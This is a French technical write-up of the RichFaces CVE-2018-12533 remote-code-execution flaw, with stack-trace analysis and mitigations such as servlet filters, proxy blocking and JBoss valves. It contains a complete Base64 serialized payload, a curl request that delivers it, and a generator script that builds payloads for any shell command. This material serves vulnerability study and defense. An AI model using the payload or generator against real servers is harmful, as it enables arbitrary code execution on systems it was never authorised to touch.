
Détails de la CVE-2018-12533. D'autres versions de RichFaces sont vulnérables, comme on peut le voir ici.
export PAYLOAD_BASE64_RICHFACES='eJx1k8-LFEcUx98MuKtZD0YhIQTJOkpmBrarZ2ZdWdksmv2BGZg14oigEoY3NW-7a62u6q16M9PrYm5evHr1llMgAcG!wJsEctk!IR4kh4CE5Bzp7tUlktSlisenvu9Lfev99Acc8w4uWRcJp2S8jZK8cGRG5O4rFjEnWtxAZbizcZO8HTtJF7oJRrSBjKsvD3479c-Pz6ow24Xjg2G0brV1XZgdbFuXIOenmFQUcxdmBlM14vgunJAoY8Khph4cG4yQkeF0bwcnGGo0UfjtcIckr!RgZpDmjXfhe6hkKZSrAgBfAICF1Dv4Mr-WidK1tElqDRkWfUamb6wekevjhNydX56vPnn661YVqj04ITV6fx0T-nffPjtlopUefORxQqNCg-GTklA27JNTqNWD3PlKlubt69Imwo9NYUATe0Fa9ChCubdFHNvRmjIjZaJ33qtQ6UElYfi8UM1C0mEJbmapI--VNSvZ!yrfwuhD-p3ySYDMwWflc5AWH3J4-q8La692uVpwZ95zR8QPjx73!7x78FVO5A7O5V9iZ2i9!y-9bpLq4ZtP!5578fFW3jsPae4BQGWuMnt-v8hj3RqmjEVEvJkxOYP6sNRo5sX1PIZGU2xbl4fRqJWmvHQqZdEvtk0TKUNbaDAiV2sKQ9Ou8YxGUilSAmt7hwq-1hQ0QV2KiTxXcXNsWCWU04fHRlNQRrJxrz5EH9cX6oGsL9TZjmU8H3KShu8nIZiMtSGHQ6UV7wVyQkGn1V4O2p2lxcXAbQfti4vtVtBpdZZa7VYnaLdbF5eW6981a82HAGMHZ-71jpwc!rCfD26!!v3s!rXipQGgymUgAqcsrjlMYyV9Z4Ph1NHVcijSNJt-DVfCiaKpD6U1fqwZb-DIoRVZPqvzVy8vLyy154vJWa2d35eYsoxxjdCIoviwlr0F6sFSwQ__'
curl "http://localhost:8080/myapp/a4j/s/3_3_3.Finalorg.richfaces.renderkit.html.Paint2DResource/DATA/${PAYLOAD_BASE64_RICHFACES}.seam"
Après DATA/ et jusqu'avant .seam, se trouve le payload de l'attaque. Il s'agit simplement d'une classe Java sérialisée, compressée et encodée en Base64. C'est un Base64 dont le format est légèrement modifié par RichFaces pour être compatible avec l'URL.
Cette classe contient une ligne de commande au format Expression Language qui est exécutée par l'application, plus précisément par RichFaces, et c'est là que réside le problème, car un code arbitraire peut être exécuté sur le serveur.
La commande encodée dans le payload ci-dessus est
touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458(uniquement à des fins de démonstration) et nous allons le constater juste après.
git clone [email protected]:mhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310.git
cd richfaces-vulnerability-cve-2018-12533-rf-14310
echo "${PAYLOAD_BASE64_RICHFACES}" | \
sed 's/-/+/g' | \
sed 's#!#/#g' | \
sed 's/_/=/g' | \
base64 -d | \
zlib-flate -uncompress > UmaClasse.serialized-class.bin
Convertit le payload du format Base64 de RichFaces vers le format Base64 standard. Décode le Base64, qui dans ce cas est un binaire compressé, puis le décompresse, ce qui génère le binaire de la classe java sérialisée.
Ici, nous allons voir la commande malveillante contenue dans le payload.
La commande ci-dessous affichera tous les attributs de la classe et les types correspondants définis dans la classe. Elle n'affiche pas les types au runtime ; si vous ne savez pas ce que cela signifie, ce n'est pas grave.
Ici, nous exécutons du code Java comme s'il s'agissait d'un script grâce à JBang
chmod +x JavaObjectDeserializer.java
./JavaObjectDeserializer.java UmaClasse.serialized-class.bin
La sortie ressemble à ceci :
Objeto java convertido para JSON:
{
"_width (int)": 111,
"_height (int)": 31,
"_data (java.lang.Object)": null,
"_format (int)": 1,
"_paint (java.lang.Object)": {
"className (java.lang.String)": null,
"savedState (java.io.Serializable)": {
"m (javax.el.MethodExpression)": {
"attr (java.lang.String)": "/views/consultaPadrao.xhtml @98,51 paint=\"#{captchaBean.paint}\"",
"orig (javax.el.MethodExpression)": {
"expectedType (java.lang.Class)": null,
"expr (java.lang.String)": "#{facesContext.getExternalContext().getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec(['bash','-c','touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458'])\")}",
"fnMapper (javax.el.FunctionMapper)": null,
"varMapper (javax.el.VariableMapper)": null,
"paramTypes ([Ljava.lang.Class;)": [
"java.awt.Graphics2D",
"java.lang.Object"
]
}
}
}
},
"cacheable (boolean)": false,
"_bgColor (int)": 0
}
Arquivo .class gravado em: org.richfaces.renderkit.html.Paint2DResource$ImageData.class
⚠️ Le point principal est l'attribut _paint.savedState.m.orig.expr, où se trouve le code malveillant, qui dans cet exemple est simplement un code inoffensif qui crée un fichier sur le disque : touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458
chmod +x Generator_Paint2DResourceImageData.java
./Generator_Paint2DResourceImageData.java
# ou
./Generator_Paint2DResourceImageData.java <um comando aqui>
./Generator_Paint2DResourceImageData.java touch /tmp/alguem-esteve-aqui
La sortie affichera les commandes à exécuter contre un serveur vulnérable. Ajustez uniquement l'URL.
Une option moins simple et plus performante consiste à modifier le code de RichFaces pour y ajouter un traitement. Plus bas se trouve la stack pertinente.
Une autre option, plus simple que la précédente, consiste à créer un filtre (javax.servlet.Filter) qui agit uniquement sur le path en question, en désérialisant le Base64 présent dans le path et en effectuant la vérification nécessaire pour déterminer si la requête peut continuer ou doit être rejetée. Il est important de souligner que la désérialisation doit se faire via la classe LookAheadObjectInputStream, comme c'est le cas dans org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String), afin d'éviter au maximum les problèmes de sécurité lors de la désérialisation, comme par exemple l'exécution de code malveillant.
Une option consiste à bloquer le path du endpoint dans un proxy situé devant l'application.
Une autre option, qui selon moi vaut la peine d'être implémentée, mais qui ne dispense pas de la première option, consiste à créer un filtre (javax.servlet.Filter) qui agit uniquement sur le path en question et bloque l'accès. Le blocage consiste simplement à répondre à la requête sans laisser la chaîne de filtres poursuivre son exécution. Vous pouvez placer un texte dans le body et utiliser le code de statut HTTP 410 (Gone). Rappelons que ce filtre doit être défini dans le web.xml de l'application. Un exemple de ce filtre : PathBlockerFilter.
Si vous utilisez JBoss EAP, le filtre mentionné ici peut être implémenté comme un valve (le changement est minime), et :
- il sera exécuté avant les filtres définis dans le
web.xml- il doit être défini dans le fichier
jboss-web.xmlcomme premier<valve>, ou- il peut être défini dans standalone.xml (ou domain.xml) dans le sous-système
urn:jboss:domain:webvia la balise<valve- Exemple de ce valve : PathBlockerValve
tl;dr : le code malveillant est exécuté par la méthode
org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext), à la lignepaint.invoke(facesContext, new Object[] {graphics,data._data});.
Lorsque la requête HTTP est effectuée, elle arrive à la méthode org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String), comme le montre la stack ci-dessous :
Daemon Thread [http-0.0.0.0:8080-1] (Suspended)
owns: org.apache.coyote.Request (id=27053)
org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(java.lang.String) line: 366
org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 156
org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141
dataString = key.substring(dataStart);, le Base64 au format RichFaces est extrait (rappelons que ce Base64 est en fin de compte un objet Java qui a été sérialisé et compressé) ;objectArray = decrypt(dataArray), ce Base64 est décodé et décompressé ;data = in.readObject(), l'objet Java contenant le code malveillant est désérialisé, c'est-à-dire que l'on obtient l'instance de l'objet.Ensuite, la requête arrive à la méthode org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext), comme le montre la stack ci-dessous :
Daemon Thread [http-0.0.0.0:8080-1] (Suspended (breakpoint at line 187 in org.richfaces.renderkit.html.Paint2DResource))
owns: org.apache.coyote.Request (id=27053)
org.richfaces.renderkit.html.Paint2DResource.send(org.ajax4jsf.resource.ResourceContext) line: 187
org.ajax4jsf.resource.ResourceLifecycle.sendResource(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 221
org.ajax4jsf.resource.ResourceLifecycle.send(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 148
org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 226
org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141
⚠️ Puis, à la ligne paint.invoke(facesContext, new Object[] {graphics,data._data});, le code malveillant est finalement exécuté.
Je vais citer un cas, le composant rich:paint2D : https://docs.jboss.org/richfaces/latest_3_3_X/en/devguide/html_single/#rich_paint2D
Vous pouvez voir le payload reçu par l'application en activant le log DEBUG sur la classe org.ajax4jsf.resource.ResourceBuilderImpl.